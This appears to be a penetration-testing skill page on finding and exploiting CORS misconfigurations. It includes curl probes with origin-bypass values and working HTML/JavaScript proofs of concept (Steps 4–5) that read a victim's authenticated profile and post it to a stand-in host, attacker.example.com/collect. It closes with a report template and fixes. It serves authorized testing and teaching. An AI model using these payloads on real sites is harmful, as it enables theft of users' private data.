testing-cors-misconfiguration
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
- License 许可
- Apache-2.0
- 最近更新
- 2026-08-31
- Stars
- ★ 3.6w
- Forks
- 4.4k
01 前言 Front Matter
- name
- testing-cors-misconfiguration
- tags
- [ "penetration-testing", "cors", "web-security", "owasp", "same-origin-policy", "burpsuite" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "PR.PS-01", "ID.RA-01", "PR.DS-10", "DE.CM-01" ]
- subdomain
- web-application-security
- description
- Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
- mitre_attack
- [ "T1190", "T1059.007", "T1505.003", "T1083", "T1003" ]
02 资源文件 3
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md2.1 KB
- 脚本scripts/agent.py8.6 KB
03 SKILL.md 正文
Testing CORS Misconfiguration
When to Use
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying Origin headers
- Browser with DevTools: For observing CORS behavior in real browser context
- Attacker web server: For hosting CORS exploitation PoC pages
- curl: For manual CORS header testing
- Python HTTP server: For hosting exploit pages locally
Workflow
Step 1: Identify CORS Configuration on Target Endpoints
Check all API endpoints for CORS response headers.
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
Step 2: Test Origin Reflection and Validation Bypass
Determine how the server validates the Origin header.
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
Step 3: Test Preflight Request Handling
Assess how the server handles OPTIONS preflight requests.
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
Step 4: Craft CORS Exploitation Proof of Concept
Build an HTML page that exploits the CORS misconfiguration to steal data.
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
Step 5: Exploit Null Origin Vulnerability
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->
Step 6: Test for Internal Network Access via CORS
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
Key Concepts
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | Access-Control-Allow-Origin: * allows any origin but prohibits credentials |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner (pip install corscanner) |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
Common Scenarios
Scenario 1: Full Origin Reflection
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
Scenario 2: Null Origin Allowed
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Scenario 3: Subdomain Wildcard Trust
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
Scenario 4: Regex Bypass on Origin Validation
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
Output Format
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
04 同仓库更多 Skills
verifying-build-provenance-with-slsa-sigstore
Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.
validating-tpm-measured-boot-attestation
Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.
validating-backup-integrity-for-recovery
Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.
triaging-windows-with-kape
Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.
triaging-vulnerabilities-with-ssvc-framework
Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.
triaging-security-incident
Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.